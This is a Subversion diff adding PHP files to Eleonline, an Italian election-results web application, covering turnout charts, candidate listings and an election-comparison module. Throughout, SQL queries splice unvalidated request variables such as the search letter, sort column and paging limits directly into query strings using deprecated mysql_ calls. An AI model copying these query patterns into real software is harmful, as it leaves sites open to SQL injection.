+
+			$query="select sum(t3.voti_complessivi)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+                	if ($genere==0){$query.=" and t3.id_gruppo=$id_gruppo";}
+                	$res_aff=mysql_query($query, $dbi);
+			$voti_numero=mysql_num_rows($res_aff);
+              	
+			$query="select sum(t1.maschi+t1.femmine)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+			
+			if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res1234=mysql_query($query, $dbi);
+                	list($tot)=mysql_fetch_row($res1234);
+                	if ($tot)
+			    $perc=number_format($voti_t*100/$tot,2);
+			else {$tot=0;$perc="0.00";}
+	  
+			$resto=100-$perc;
+			if ($genere==0){echo "<div style=\"text-align:center\">referendum n. $num_gruppo</div";}
+
+			echo "<center><img src=\"http://chart.apis.google.com/chart?
+			chs=200x100
+			&chd=t:$perc
+			&cht=gom
+			&chl=$perc%
+			&chco=ff0000,ffff00 \"
+			alt=\"Sample chart\" />
+			 <a href=\"modules.php?id_cons_gen=$id_cons_gen&name=Elezioni&id_comune=$id_comune&file=index&op=affluenze_graf\">Tutte le affluenze</a>
+			</center>";
+
+
+
+	}	
+
+        }
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/off_Votanti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/off_Votanti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/off_Votanti.php	(revision 44)
@@ -0,0 +1,95 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file dirrectly...");
+}
+
+global $op, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$tipo_cons,$id_comune,$id_cons_gen,$id_circ,$csv,$w,$l,$siteistat,$flash,$tour;
+
+if ($genere==0) $tab="ref";elseif($genere=='4' || $votog) $tab="lista";
+		 else $tab="gruppo";
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+
+#$res = mysql_query("select *  from ".$prefix."_ele_voti_".$tab." where id_cons='$id_cons'  group by id_sez ",$dbi);
+#	$numero=mysql_num_rows($res);
+#	$res = mysql_query("select *  from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+  	$res = mysql_query("select t3.*  from ".$prefix."_ele_voti_".$tab." as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos  group by t3.id_sez ",$dbi);
+	$numero=mysql_num_rows($res);
+	$res = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+	$sezioni=mysql_num_rows($res);
+	
+	if ($numero!=0){
+
+	
+	echo "<h5><b>"._DETTAGLIO." "._VOTIE."</b> - </h5>";
+	echo "<div style=\"text-align:center;\"><i> "._SEZSCRU." $numero "._SU." $sezioni </i></div>";
+	
+
+
+
+	$res1 = mysql_query("SELECT sum(t1.maschi+t1.femmine) FROM ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+	list($tot_aventi)  = mysql_fetch_row($res1);
+	if ($genere!=0) {
+
+		$res1 = mysql_query("SELECT sum(t1.validi+t1.nulli+t1.bianchi+t1.contestati) as tot,
+		sum(t1.validi),sum(t1.nulli),sum(t1.bianchi),sum(t1.contestati), '0'
+		from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons=$id_cons $circos having tot>0",$dbi);
+	}else{
+		$res1 = mysql_query("SELECT sum(validi+nulli+bianchi+contestati) as tot,
+		sum(validi),sum(nulli),sum(bianchi),sum(contestati), id_gruppo
+		from ".$prefix."_ele_voti_ref  where id_cons=$id_cons group by id_gruppo having tot>0",$dbi);
+	}
+
+	while  (list($tot_votanti,$validi,$nulli,$bianchi,$contestati,$id)  = mysql_fetch_row($res1)){
+		$tot_votanti=$validi+$bianchi+$nulli+$contestati;
+		$perc_validi=number_format($validi*100/$tot_votanti,2);
+		$perc_nulli=number_format($nulli*100/$tot_votanti,2);
+		$perc_bianchi=number_format($bianchi*100/$tot_votanti,2);
+		$perc_conte=number_format($contestati*100/$tot_votanti,2);
+		$perc_votanti=number_format($tot_votanti*100/$tot_aventi,2);
+		$non_votanti=($tot_aventi - $tot_votanti);
+		$perc_non=100-$perc_votanti;
+
+		if ($genere==0) {
+			$res = mysql_query("SELECT num_gruppo,descrizione from ".$prefix."_ele_gruppo where id_gruppo=$id",$dbi);
+			list($num_gruppo,$descr_gruppo)  = mysql_fetch_row($res);
+		}
+		  
+
+		    
+		
+		echo "<table bgcolor=\"gray\" class=\"modulo\" width=\"100%\" cellspacing=\"1\">";
+		if ($genere==0) {echo "<br/>Referendum n. <b>[$num_gruppo]</b><br/>";}
+		echo "
+		<tr bgcolor=\"#ffffff\"><td ><b>"._AVENTI."</b></td><td>$tot_aventi</td><td><span class=\"red\">100%</span></td></tr>
+
+		<tr bgcolor=\"#ffffff\"><td><b>"._VOTANTI."</b></td><td>$tot_votanti</td><td><span class=\"red\">$perc_votanti%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._VALIDI."</td><td>$validi</td><td><span class=\"red\">$perc_validi%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._NULLI."</td><td>$nulli</td><td><span class=\"red\">$perc_nulli%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._BIANCHI."</td><td>$bianchi</td><td><span class=\"red\">$perc_bianchi%</span></td></tr>
+		
+		<tr bgcolor=\"#ffffff\"><td>"._CONTESTATI."</td><td>$contestati</td><td><span class=\"red\">$perc_conte%</span></td></tr>
+
+		</table>";
+
+    }
+}
+
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/pie_affluenze.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/pie_affluenze.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/pie_affluenze.php	(revision 44)
@@ -0,0 +1,90 @@
+<?php 
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* widget pie google affluenze 
+  by luc 25 giugno 2009 */
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file dirrectly...");
+}
+
+
+
+global $circo,$prefix,$dbi,$id_cons,$genere,$id_circ,$id_comune,$id_cons_gen;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+// numero sezioni scrutinate
+
+		$res2 = mysql_query("select t1.*  from ".$prefix."_ele_sezioni as t1 left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' $circos",$dbi);
+		$sezioni=mysql_num_rows($res2);
+
+    $res = mysql_query("select orario,data  from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' order  by data desc,orario desc limit 1", $dbi);
+    if($res){
+
+        while(list($orario,$data) = mysql_fetch_row($res)) {
+        	list ($ore,$minuti,$secondi)=explode(':',$orario);
+        	list ($anno,$mese,$giorno)=explode('-',$data);
+        	$tot_v_m=0;$tot_v_d=0;$tot_t=0;
+	
+
+  		$res1 = mysql_query("select t3.*  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos  group by t3.id_sez ",$dbi);
+		$numero=mysql_num_rows($res1);
+	
+		echo "<h5>Ultime Affluenze</h5>";
+               echo "<div style=\"text-align:center;color:#ff0000\"><b>"._ORE." $ore,$minuti "._DEL."  $giorno/$mese/$anno</b></div>";
+                                                                                                                             
+
+                
+ 
+#		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+#modifica del 26giugno 09 per gestione circoscrizionali
+if($genere==0)		$res1 = mysql_query("select sum(t1.voti_complessivi), t2.num_gruppo , t2.id_gruppo from ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 on (t1.id_gruppo=t2.id_gruppo) where t1.id_cons='$id_cons' and t1.orario='$orario' and t1.data='$data' group by t2.num_gruppo,t2.id_gruppo order by t2.num_gruppo " , $dbi);
+else
+  		$res1 = mysql_query("select sum(t3.voti_complessivi),0,0  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos",$dbi);
+#fine modifica
+                                                                                                                                      
+		
+		
+		
+                                                                                                                             
+                while(list($voti_t, $num_gruppo,$id_gruppo) = mysql_fetch_row($res1)) {
+
+			$query="select sum(t3.voti_complessivi)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+                	if ($genere==0){$query.=" and t3.id_gruppo=$id_gruppo";}
+                	$res_aff=mysql_query($query, $dbi);
+			$voti_numero=mysql_num_rows($res_aff);
+              	
+			$query="select sum(t1.maschi+t1.femmine)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' and t3.data='$data' and t3.orario='$orario' $circos";		
+			
+			if ($genere==0){$query.=" and id_gruppo=$id_gruppo";}
+                	$res1234=mysql_query($query, $dbi);
+                	list($tot)=mysql_fetch_row($res1234);
+                	if ($tot)
+			    $perc=number_format($voti_t*100/$tot,2);
+			else {$tot=0;$perc="0.00";}
+	  
+			$resto=100-$perc;
+			if ($genere==0){echo "<div style=\"text-align:center\">referendum n. $num_gruppo</div";}
+
+			echo "<center><img src=\"http://chart.apis.google.com/chart?
+			chs=200x70
+			&chd=t:$resto,$perc
+			&cht=p3
+			&chl=|$perc%
+			&chco=ff0000,ffff00 \"
+			alt=\"Sample chart\" />
+			 <a href=\"modules.php?id_cons_gen=$id_cons_gen&name=Elezioni&id_comune=$id_comune&file=index&op=affluenze_graf\">Tutte le affluenze</a>
+			</center>";
+
+
+
+	}	
+
+        }
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/candidato.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/candidato.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/candidato.php	(revision 44)
@@ -0,0 +1,224 @@
+<?php
+########## funzione candidato
+
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale candidato         */
+/*****************************************************/
+function candidato() {
+   global $tipo_cons, $prefix, $dbi, $offset, $min, $id_cons_gen, $id_cons,$file,$genere,$prev,$next,$lettera,$ltr,$ordine,$id_comune,$id_circ,$id_lista,$votog,$circo,$num;
+  
+ 
+ 
+  $offset=15;
+  if ($circo==1) $offset=1000;
+  if (!isset($min)) $min=0;
+  $go="candi";
+
+
+   if($circo==0)$id_circ='';
+
+
+
+
+  # numero sezioni
+  $sql = mysql_query("select * from ".$prefix."_ele_sezioni where id_cons='$id_cons' ",$dbi);
+  $sezioni = mysql_num_rows($sql);
+
+
+
+   /* Scelta alfabetica */
+  
+	echo "<br /><h2>"._CANDIDATI." "._CONSIGLIO."</h2>"; 
+	echo "<div><b>"._INIZIALI."</b></div>";
+        $alfa = array (""._ALL."", "A","B","C","D","E","F","G","H","I","J","K","L","M",
+                            "N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
+        $num = count($alfa) - 1;
+        echo "<div>[ ";
+        $counter = 0;
+        while (list(, $ltr) = each($alfa)) {
+	  
+	  
+            echo "<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;op=candi&amp;lettera=$ltr&amp;ordine=$ordine\">$ltr</a>";
+            if ( $counter == round($num/2) ) {
+                echo " ]\n<br />\n[ ";
+            } elseif ( $counter != $num ) {
+                echo "&nbsp;|&nbsp;\n";
+            }
+            $counter++;
+        }
+        echo " ]\n</div>\n<br />\n";
+ 
+// ordine
+	if ($ordine=="") $ordine="cognome";
+        echo "\n<div>\n"; // Start of HTML
+        echo ""._ORDINE." <b>[</b> ";
+        if ($ordine == "cognome" OR !$ordine) {
+            echo ""._COGNOME."&nbsp;|&nbsp;";
+        } else {
+            echo "<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;op=candi&amp;lettera=$lettera&amp;ordine=cognome&amp;min=$min&amp;offset=$offset\">"._COGNOME."</a>&nbsp;|&nbsp;";
+        }
+        
+		if ($ordine == "id_lista") {
+            echo ""._LISTA."&nbsp;|&nbsp;";
+        } else {
+            echo "<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;op=candi&amp;lettera=$lettera&amp;ordine=id_lista\">"._LISTA."</a>&nbsp;";
+        }
+	
+	/*
+	if($genere!=4)	
+        if ($ordine == "id_gruppo") {
+            echo ""._GRUPPO."&nbsp;";
+        } else {
+	
+            echo "<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;op=candi&amp;lettera=$lettera&amp;ordine=id_gruppo\">"._GRUPPO."</a>&nbsp;";
+        }
+	*/
+	
+        echo " <b>]</b>\n</div>\n";
+	    
+	    if ($lettera ==""._ALL."") $lettera="";
+  // Fine ordine
+  
+  
+// Da verificare
+#Tolta, gestita globalmente in index.php
+/*
+   if ($circo=="1"){ // circoscrizione
+   	echo "<form name=\"circoscrizione\" method=\"post\" action=\"modules.php\">";
+   	echo "<input type=\"hidden\" name=\"pagina\" value=\"modules.php?name=Elezioni&amp;op=candi&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;lettera=$ltr&amp;ordine=$ordine&amp;min=$min&amp;offset=$offset&amp;id_circ=\">$ltr";
+   		
+	$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+	echo "<table><tr><td class=\"bggray\">"._SCELTA_CIR.": <select name=\"id_circ\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+	while(list($id_rif,$descr_circ,$num_cir)=mysql_fetch_row($res_sez)) {
+		if (!$id_circ) $id_circ=$id_rif;
+			$sel = ($id_rif == $id_circ) ? "selected" : "";
+			echo "<option value=\"$id_rif\" $sel>";
+			for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";
+		}
+			echo $num_cir.") ".$descr_circ;
+	}
+		echo "</select>";
+			
+		
+				
+				
+		
+		
+		echo "</form>";
+		echo "</td></tr></table>";
+		 
+		 
+		 
+		
+	}
+  	
+*/	
+	 
+	
+	
+	# conta il numero dei candidati
+	if  ($circo=="1"){
+	  $res = mysql_query("select id_lista from ".$prefix."_ele_lista where id_cons='$id_cons' and id_circ='$id_circ'", $dbi);
+	  while(list($id_lista2) = mysql_fetch_row($res)){
+		$res2 = mysql_query("select id_cand from ".$prefix."_ele_candidati where id_lista='$id_lista2'  and cognome like \"$lettera%\"", $dbi);
+		while(list($id_cand2) = mysql_fetch_row($res2)){
+			$max=$max+1;
+		}
+          }
+	
+	}else{
+	
+	$res = mysql_query("SELECT id_cons FROM ".$prefix."_ele_candidati where id_cons='$id_cons' and cognome like \"$lettera%\"  ", $dbi);
+    	$max = mysql_num_rows($res);
+	
+	}
+        
+	
+	//if ($ordine=="" or !$ordine) $ordine="cognome";
+     	
+     	if ($lettera!="") echo "Lettera: <span class=\"red\">$lettera </span>";
+     	if ($ordine=="cognome") echo " Ordine: <span class=\"red\"> Cognome</span>";
+     	if ($ordine=="id_lista") echo " Ordine: <span class=\"red\">"._LISTA."</span>";
+     	//if ($ordine=="id_gruppo") echo " Ordine:<span class=\"red\"> "._GRUPPO."</span>";
+     	echo " Numero Candidati: <span class=\"red\">$max</span>";
+     	echo "<br /><br />
+	<table class=\"table-80\" rules=\"rows\" ><tr class=\"bggray\">"
+	."<td><b>"._NUM."</b></td>"
+	."<td ><b>"._NOME."</b></td>"
+	."<td><b>"._LISTA."</b></td>";
+	if ($genere!=4) echo "<td><b>"._GRUPPO."</b></td></tr>";
+	
+	
+	
+	if ($ordine=="id_gruppo") $ordine="id_lista";    
+	$result = mysql_query("select * from ".$prefix."_ele_candidati where id_cons='$id_cons'  and cognome like \"$lettera%\" order by  $ordine  LIMIT $min,$offset", $dbi);
+    	
+	
+	while(list($id_cand,$id_cons2,$id_lista, $cognome, $nome, $note,, $num_cand) = mysql_fetch_row($result)) {
+        if ($circo=="1") $circos=" and id_circ='$id_circ'";else $circos='';// per circosc 5-06
+        	// dati lista
+		$res01 = mysql_query("select descrizione,id_gruppo,id_circ from ".$prefix."_ele_lista where id_lista='$id_lista' $circos ", $dbi);
+		
+        	if ($circo=="1") list($descr_lista,$id_gruppo,$id_circ2)=mysql_fetch_row($res01);
+		else list($descr_lista,$id_gruppo,$id_circ_off)=mysql_fetch_row($res01);
+		
+		
+		// dati gruppo
+		
+		if ($genere!=4){
+		$res2 = mysql_query("select descrizione from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo' ", $dbi);
+        	list($descr_gruppo)=mysql_fetch_row($res2);
+		
+		}
+	
+	if (!$id_circ)$id_circ="";
+	if (!isset($id_circ2)) $id_circ2="";	
+
+	if ($id_circ==$id_circ2){
+	
+
+		echo "<tr class=\"table-main\"><td class=\"bggray\"><b>$num_cand</b>"
+         	."</td><td style=\"text-align:left;\"><b>";
+               if($votog){ echo "$cognome $nome";
+		}else{
+		      echo "  &nbsp;<a href=\"modules.php?name=Elezioni&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=candidato_sezione&amp;min=$num_cand&amp;offset=$num_cand&amp;id_lista=$id_lista&amp;orvert=1&amp;offsetsez=$sezioni&amp;id_circ=$id_circ\">$cognome $nome</a>";
+		}
+     
+		echo "</b></td>
+		<td><b><a href=\"modules.php?name=Elezioni&amp;id_gruppo=$id_gruppo&amp;id_circ=$id_circ&amp;id_cons_gen=$id_cons_gen&amp;id_lista=$id_lista&amp;op=partiti&amp;id_comune=$id_comune\">
+		<img class=\"stemmapic\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_lista=$id_lista\"  alt=\"$cognome $nome\" /><br />$descr_lista  </a></b>";
+		
+		if ($genere!=4){
+		 
+		    echo "</td><td>
+		    <a 					href=\"modules.php?name=Elezioni&amp;op=gruppo&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ\"><img class=\"stemmapic\" src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_gruppo=$id_gruppo \"   alt=\" \" /><br />$descr_gruppo</a>";
+		    echo "</td></tr>";
+		  }
+		}
+	    
+ 	}
+	
+	
+    
+    echo "</table>";
+
+     
+     if (!$circo) page($id_cons_gen,$go,$max,$min,$prev,$next,$offset,$file);
+
+}
+
+
+
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/confronti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/confronti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/confronti.php	(revision 44)
@@ -0,0 +1,346 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo confronti                                                     */
+/*                                                                      */
+/************************************************************************/
+/*
+1)visualizza l'elenco delle consultazioni nel comune con una check box per la selezione
+2)gli id_cons delle consultazioni selezionate vengono inseriti in $_SESSION['confronti][]
+3)per ogni consultazione chiede di associare le liste al gruppo1, al gruppo2 o a nessun gruppo
+4)per ogni gruppo1 inserisci id_lista in $gruppo1[], così per ogni gruppo2
+5)somma i voti delle liste in gruppo1 per ogni consultazione e inserisci in array1, così per gruppo2
+6)proponi la scelta della modalita' di visualizzazione: per voti ottenuti, percentuale su voti validi, percentuale su elettori.
+*/
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (isset($param['grp1'])) $grp1=addslashes($param['grp1']); else $grp1='';//_GRUPPO1;
+if (isset($param['grp2'])) $grp2=addslashes($param['grp2']); else $grp2='';//_GRUPPO2;
+if (isset($param['grp3'])) $grp3=addslashes($param['grp3']); else $grp3='';
+if (isset($param['pag'])) $pag=intval($param['pag']); else $pag=0;
+if (isset($param['pags'])) $pags=intval($param['pags']); else $pags=0;
+if (isset($param['listecol'])) $listecol=intval($param['listecol']); else $listecol=0;
+
+$grp1= htmlentities($grp1); 
+$grp2= htmlentities($grp2); 
+$grp3= htmlentities($grp3); 
+
+echo "<table><tr><td align=\"center\">"._CNFR_CONS."</td></tr></table>";
+
+//visualizza le consultazioni tra le quali scegliere quelle da confrontare
+function sceglicons(){
+global $param,$id_cons_gen, $dbi, $prefix, $id_comune;
+$_SESSION['confr']=array();
+$_SESSION['grp1']=array();
+$_SESSION['grp2']=array();
+$_SESSION['grp3']=array();
+$x=1;
+
+while (isset($_SESSION['num_lista'.$x]))
+	unset($_SESSION['num_lista'.$x]);
+/*$x=1;
+while (isset($param['num_lista'.$x])) {
+	if ($param['num_lista'.$x]==$gruppo) array_push($collegate,$_SESSION['num_lista'.$x]);
+	elseif ($param['num_lista'.$x]!=0) array_push($collperd,$_SESSION['num_lista'.$x]);
+	$x++;
+}*/
+$res = mysql_query("SELECT t1.descrizione,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.id_cons_gen=t2.id_cons_gen and t1.tipo_cons=t3.tipo_cons and t3.circo='0' and t3.genere>'2' and t2.id_comune='$id_comune' order by t1.data_fine,t1.descrizione", $dbi);
+if (mysql_num_rows($res)){
+	echo "<form id=\"cons\" action=\"modules.php\">";
+	echo "<table><tr><td>"
+	."<input type=\"hidden\" name=\"op\" value=\"come\"/><input type=\"hidden\" name=\"info\" value=\"confronti\"/>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"/>";
+	echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"/>";	
+
+	echo "<table><tr>
+		<td>Dai un nome<br/>al il primo gruppo</td><td><input type=\"text\" name=\"grp1\" value=\"\"/></td></tr>
+		<tr><td>Dai un nome<br/>al secondo gruppo</td><td><input type=\"text\" name=\"grp2\" value=\"\"/></td></tr>
+		<tr><td>Se vuoi un raffronto <br/>con il totale degli altri gruppi</td><td><input type=\"checkbox\" name=\"grp3\"/></td></tr>
+		<tr><td align=\"center\" colspan=\"2\"><br/>"._SCELTA_CONS."</td></tr>";
+	$x=1;
+	while (list($descr_cons,$id_cons)= mysql_fetch_row($res)){
+		echo "<tr><td>$descr_cons</td><td><input type=\"checkbox\" name=\"check$x\"/>";
+		echo "<input type=\"hidden\" name=\"cons$x\" value=\"$id_cons\"/>";
+		echo "<input type=\"hidden\" name=\"verifica\" value=\"1\"/></td></tr>";	
+		$x++;
+	}
+	echo "<tr><td><input type=\"hidden\" name=\"pags\" value=\"$x\"/></td><td><input type=\"submit\" name=\"invia\" value=\""._OK."\"/></td></tr></table>
+	</td>
+	<td class=\"modulo\"><h2>Help on line</h2><br/>
+	<h3>Esempi di uso</h3><br /> 
+	<b>Raffronto centrodestra-centrosinistra</b><br/>
+	- Mettere i nomi ai gruppi da assemblare<br/>
+	- Scegliere se confrontarli anche con i restanti gruppi<br />
+	- Scegliere le consultazioni, almeno una, da raffrontare e premere ok<br/>
+	- Scegliere le liste da abbinare ad ogni gruppo<br /><br/>
+	<b>Raffronto andamento per un solo gruppo o lista</b><br />
+	- Immettere solo un nome del gruppo lasciando vuoto l'altro<br />
+	- Scegliere le consultazioni premere ok<br />
+	- Scegliere le liste da abbinare ad ogni gruppo<br /><br/>
+	
+	 		
+
+
+
+
+</td></tr></table>
+
+</form>";
+}
+}
+
+//visualizza le liste per consultazione e permette di associarle ai gruppi
+function scegliliste(){
+	global $bgcolor1,$bgcolor2,$param,$id_cons_gen, $dbi, $prefix, $id_comune, $pag, $pags,$id_cons,$grp1,$grp2,$grp3;
+	// ipotesi di campi vuoti
+	if(!$grp1 && !$grp2 && !$grp3){echo "<span class=\"red\">Metti il nome di almeno un gruppo oppure il check al raffronto totale</span>"; include("footer.php"); exit;}
+	
+	
+
+
+	
+	$verifica=0;
+	if (!$pag) //alla prima esecuzione filtra le consultazioni selezionate
+	{
+		$pag=1;
+		$x=1;
+		$y=1;
+		while (isset($param['cons'.$x])) {
+			if($param[('check'.$x)]) 
+				
+				{
+				$_SESSION['confr'][$y]=$param[('cons'.$x)];
+				$y++;
+				$verifica++; // verifica di scelte consultazioni
+				}
+			else $pags--;
+			$x++;
+	
+			}
+		if ($verifica<=1){echo "<span class=\"red\">Scegli almeno due consultazioni</span>"; include("footer.php"); exit;} //esce 
+	}else{
+		$_SESSION['grp1'][$pag]=array();
+		$_SESSION['grp2'][$pag]=array();
+		$_SESSION['grp3'][$pag]=array();
+		$x=1;
+		while (isset($param['num_lista'.$x])) {
+			
+				if ($param['num_lista'.$x]=='grp1') 	{array_push($_SESSION['grp1'][$pag],$_SESSION['num_lista'.$x]);}
+
+				if ($param['num_lista'.$x]=='grp2') {array_push($_SESSION['grp2'][$pag],$_SESSION['num_lista'.$x]);}
+
+				if ($param['num_lista'.$x]=='grp3') {array_push($_SESSION['grp3'][$pag],$_SESSION['num_lista'.$x]);}
+				unset($_SESSION['num_lista'.$x]);
+
+				$x++;
+		}
+		$pag++;
+	}
+	if($pag>=$pags) return(1); //in $pags il numero delle consultazioni
+	$id_cons2=$_SESSION['confr'][$pag];
+	$res_lis = mysql_query("SELECT t1.descrizione from ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons='$id_cons2'",$dbi);
+	list($descr)=mysql_fetch_row($res_lis);
+#	$res_lis = mysql_query("SELECT t1.id_lista,t1.descrizione,t2.descrizione from ".$prefix."_ele_lista as t1, ".$prefix."_ele_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons2' order by t2.num_gruppo",$dbi);
+	$res_lis = mysql_query("SELECT t1.id_lista,t1.descrizione,t2.descrizione from ".$prefix."_ele_lista as t1 left join ".$prefix."_ele_gruppo as t2 on t1.id_gruppo=t2.id_gruppo where t1.id_cons='$id_cons2' order by t2.num_gruppo",$dbi);
+	$yy=mysql_num_rows($res_lis);
+	if ($yy){
+		echo "<form name=\"liste\" action=\"modules.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"come\"/><input type=\"hidden\" name=\"info\" value=\"confronti\">";
+		echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"/>";
+		echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"/>";
+		if($grp1)echo "<input type=\"hidden\" name=\"grp1\" value=\"$grp1\"/>";
+		if($grp2)echo "<input type=\"hidden\" name=\"grp2\" value=\"$grp2\"/>";
+		if($grp3)echo "<input type=\"hidden\" name=\"grp3\" value=\"$grp3\"/>";
+		echo "<br/>";
+		echo "<table cellspacing=\"0\" cellpadding=\"2\" border=\"1\"><tr class=\"bggray\"><td bgcolor=\"$bgcolor1\" colspan=\"5\">"._CONSULTAZIONE.": <b>$descr</b><br/>"._SCELTA_LISTE."</td></tr><tr class=\"bggray\"><td bgcolor=\"$bgcolor1\" colspan=\"2\"></td>";
